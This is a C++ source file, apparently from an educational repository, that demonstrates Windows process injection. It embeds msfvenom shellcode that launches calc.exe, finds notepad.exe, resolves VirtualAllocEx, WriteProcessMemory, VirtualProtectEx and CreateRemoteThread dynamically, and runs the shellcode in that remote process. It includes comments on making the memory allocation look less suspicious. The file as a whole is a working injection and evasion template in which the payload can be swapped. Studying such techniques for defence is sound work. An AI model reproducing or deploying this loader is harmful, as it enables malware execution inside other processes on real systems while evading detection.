mirror of
https://github.com/toneillcodes/windows-process-injection
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toneillcodes
216 lines
8.8 KiB
C++
216 lines
8.8 KiB
C++
/*
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* Process injection example 4: injecting calc.exe msfvenom shellcode into a remote process using dynamic function resolution
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* shellcode: msfvenom -p windows/x64/exec CMD=calc.exe -f C EXITFUNC=thread
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* compile: cl.exe injection-example-4.cpp /D"_UNICODE" /D"UNICODE" /W0
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*/
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#include <windows.h>
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#include <stdio.h>
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#include <tlhelp32.h>
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// https://learn.microsoft.com/en-us/windows/win32/api/memoryapi/nf-memoryapi-virtualallocex
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typedef LPVOID(WINAPI* P_VirtualAllocEx)(
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HANDLE pHandle,
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LPVOID lpAddress,
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SIZE_T dwSize,
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DWORD flAllocationType,
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DWORD flProtect
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);
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// https://learn.microsoft.com/en-us/windows/win32/api/memoryapi/nf-memoryapi-virtualprotectex
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typedef BOOL(WINAPI* P_VirtualProtectEx) (
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HANDLE hProcess,
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LPVOID lpAddress,
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SIZE_T dwSize,
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DWORD flNewProtect,
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PDWORD lpflOldProtect
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);
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// https://learn.microsoft.com/en-us/windows/win32/api/memoryapi/nf-memoryapi-writeprocessmemory
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typedef BOOL(WINAPI* P_WriteProcessMemory)(
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HANDLE hProcess,
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LPVOID lpBaseAddress,
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LPCVOID lpBuffer,
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SIZE_T nSize,
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SIZE_T *lpNumberOfBytesWritten
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);
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// https://learn.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-createremotethread
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typedef HANDLE(WINAPI* P_CreateRemoteThread) (
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HANDLE hProcess,
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LPSECURITY_ATTRIBUTES lpThreadAttributes,
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SIZE_T dwStackSize,
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LPTHREAD_START_ROUTINE lpStartAddress,
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LPVOID lpParameter,
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DWORD dwCreationFlags,
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LPDWORD lpThreadId
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);
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// Adapted from Pavel Yosifovich's Enumerate Processes (part 1): https://www.youtube.com/watch?v=IZULG6I4z5U
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DWORD FindPidByName(LPCWSTR processName) {
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DWORD foundpid = 0;
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HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
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if (hSnapshot == INVALID_HANDLE_VALUE) {
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return foundpid;
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}
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PROCESSENTRY32 pe;
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pe.dwSize = sizeof(PROCESSENTRY32);
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if (Process32First(hSnapshot, &pe)) {
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do {
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if (_wcsicmp(processName, pe.szExeFile) == 0) {
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foundpid = pe.th32ProcessID;
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break;
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}
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} while (Process32Next(hSnapshot, &pe));
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}
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CloseHandle(hSnapshot);
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return foundpid;
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}
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int main() {
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unsigned char buf[] =
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"\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50"
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"\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52"
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"\x18\x48\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a"
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"\x4d\x31\xc9\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41"
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"\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52"
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"\x20\x8b\x42\x3c\x48\x01\xd0\x8b\x80\x88\x00\x00\x00\x48"
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"\x85\xc0\x74\x67\x48\x01\xd0\x50\x8b\x48\x18\x44\x8b\x40"
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"\x20\x49\x01\xd0\xe3\x56\x48\xff\xc9\x41\x8b\x34\x88\x48"
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"\x01\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41"
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"\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1"
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"\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c"
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"\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01"
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"\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a"
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"\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48\x8b"
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"\x12\xe9\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00\x00\x00"
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"\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00\x41\xba\x31\x8b"
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"\x6f\x87\xff\xd5\xbb\xe0\x1d\x2a\x0a\x41\xba\xa6\x95\xbd"
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"\x9d\xff\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0"
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"\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff"
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"\xd5\x63\x61\x6c\x63\x2e\x65\x78\x65\x00";
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P_VirtualAllocEx myVirtualAllocEx = nullptr;
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P_WriteProcessMemory myWriteProcessMemory = nullptr;
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P_VirtualProtectEx myVirtualProtectEx = nullptr;
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P_CreateRemoteThread myCreateRemoteThread = nullptr;
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DWORD pid = 0;
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const wchar_t* processName = L"notepad.exe";
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pid = FindPidByName(processName);
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if (pid == 0) {
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printf("[ERROR] Failed to obtain process ID!\n");
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return -1;
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}
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printf("[*] Running PI with target PID: %u\n", pid);
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// Open a handle to the current process, this must be passed to VirtualAllocEx
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HANDLE pHandle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, DWORD(pid));
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if (pHandle == NULL) {
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printf("Failed to acquire process handle!\n");
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return -1;
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}
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// Obtain a handle to the kernel32.dll module, this will be passed to GetProcAddress
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HMODULE hKernel32 = GetModuleHandleA("kernel32.dll");
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if (hKernel32 == NULL) {
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printf("[ERROR] Failed to get handle to kernel32.dll. Error: %u\n", GetLastError());
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return -1;
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}
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// Use GetProcAddress to get the address of the VirtualAllocEx function
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myVirtualAllocEx = (P_VirtualAllocEx)GetProcAddress(hKernel32, "VirtualAllocEx");
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if (myVirtualAllocEx == nullptr) {
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printf("[ERROR] Failed to resolve VirtualAllocEx. Error: %u\n", GetLastError());
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FreeLibrary(hKernel32); // Clean up the module handle
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return -1;
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}
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// Use GetProcAddress to get the address of the WriteProcessMemory function
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myWriteProcessMemory = (P_WriteProcessMemory)GetProcAddress(hKernel32, "WriteProcessMemory");
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if (myWriteProcessMemory == nullptr) {
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printf("[ERROR] Failed to resolve WriteProcessMemory. Error: %u\n", GetLastError());
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FreeLibrary(hKernel32); // Clean up the module handle
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return -1;
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}
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// Use GetProcAddress to get the address of the VirtualProtectEx function
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myVirtualProtectEx = (P_VirtualProtectEx)GetProcAddress(hKernel32, "VirtualProtectEx");
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if (myVirtualProtectEx == nullptr) {
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printf("[ERROR] Failed to resolve VirtualProtectEx. Error: %u\n", GetLastError());
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FreeLibrary(hKernel32); // Clean up the module handle
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return -1;
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}
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// Use GetProcAddress to get the address of the CreateRemoteThread function
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myCreateRemoteThread = (P_CreateRemoteThread)GetProcAddress(hKernel32, "CreateRemoteThread");
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if (myCreateRemoteThread == nullptr) {
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printf("[ERROR] Failed to resolve CreateRemoteThread. Error: %u\n", GetLastError());
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FreeLibrary(hKernel32); // Clean up the module handle
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return -1;
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}
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printf("[*] Successfully opened handle to PID: %u\n", pid);
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// Allocate a block of memory that can store our shellcode, RW memory protection is slightly less suspicious
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LPVOID bufferAddress = myVirtualAllocEx(pHandle, NULL, sizeof buf, (MEM_COMMIT | MEM_RESERVE), PAGE_READWRITE);
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if (bufferAddress == NULL) {
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printf("[ERROR] Failed to allocate memory within the process (PID: %u)! Error: %lu\n", pid, GetLastError());
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return -1;
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}
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printf("[*] Memory allocated at: 0x%016llx\n", bufferAddress);
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// Write the shellcode to the block of memory that we allocated with VirtualAllocEx
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BOOL writeShellcode = myWriteProcessMemory(pHandle, bufferAddress, buf, sizeof buf, NULL);
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if (writeShellcode == false) {
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printf("[ERROR] Failed to write shellcode! Using addresss: 0x%016llx, Error: %lu\n", bufferAddress, GetLastError());
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VirtualFree(bufferAddress, 0, MEM_RELEASE);
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return -1;
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}
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// Update the memory protection value from RW to RWX
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DWORD lpOldProtect = NULL;
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BOOL updateMemoryProtection = myVirtualProtectEx(pHandle, bufferAddress, sizeof buf, PAGE_EXECUTE_READWRITE, &lpOldProtect);
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if (updateMemoryProtection == false) {
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printf("[ERROR] Failed to update memory protection (updating from RW to RWX)! Using addresss: 0x%016llx, Error: %lu\n", bufferAddress, GetLastError());
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VirtualFree(bufferAddress, 0, MEM_RELEASE);
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return -1;
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}
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// Create a new thread using the shellcode buffer address as the starting point
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HANDLE tHandle = myCreateRemoteThread(pHandle, NULL, 0, (LPTHREAD_START_ROUTINE)bufferAddress, NULL, 0, NULL);
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if (tHandle == NULL) {
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printf("[ERROR] Failed to create thread within the process (PID: %u)! Error: %lu\n", pid, GetLastError());
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VirtualFree(bufferAddress, 0, MEM_RELEASE);
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return -1;
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}
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// Wait for the thread to return - not required, but it definitely makes the demonstration much cleaner
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printf("[*] Waiting for the thread to return...\n");
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WaitForSingleObject(tHandle, INFINITE);
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// Update the memory protection value from RWX to RW
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updateMemoryProtection = myVirtualProtectEx(pHandle, bufferAddress, sizeof buf, PAGE_READWRITE, &lpOldProtect);
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if (updateMemoryProtection == false) {
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printf("[ERROR] Failed to update memory protection (toggling back to RW)! Using addresss: 0x%016llx, Error: %lu\n", bufferAddress, GetLastError());
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VirtualFree(bufferAddress, 0, MEM_RELEASE);
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return -1;
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}
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// Clean up open handles and free the shellcode buffer memory
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CloseHandle(pHandle);
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CloseHandle(tHandle);
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VirtualFree(bufferAddress, 0, MEM_RELEASE);
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FreeLibrary(hKernel32); // Clean up the module handle
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printf("[*] Process injection complete.\n");
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return 0;
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}
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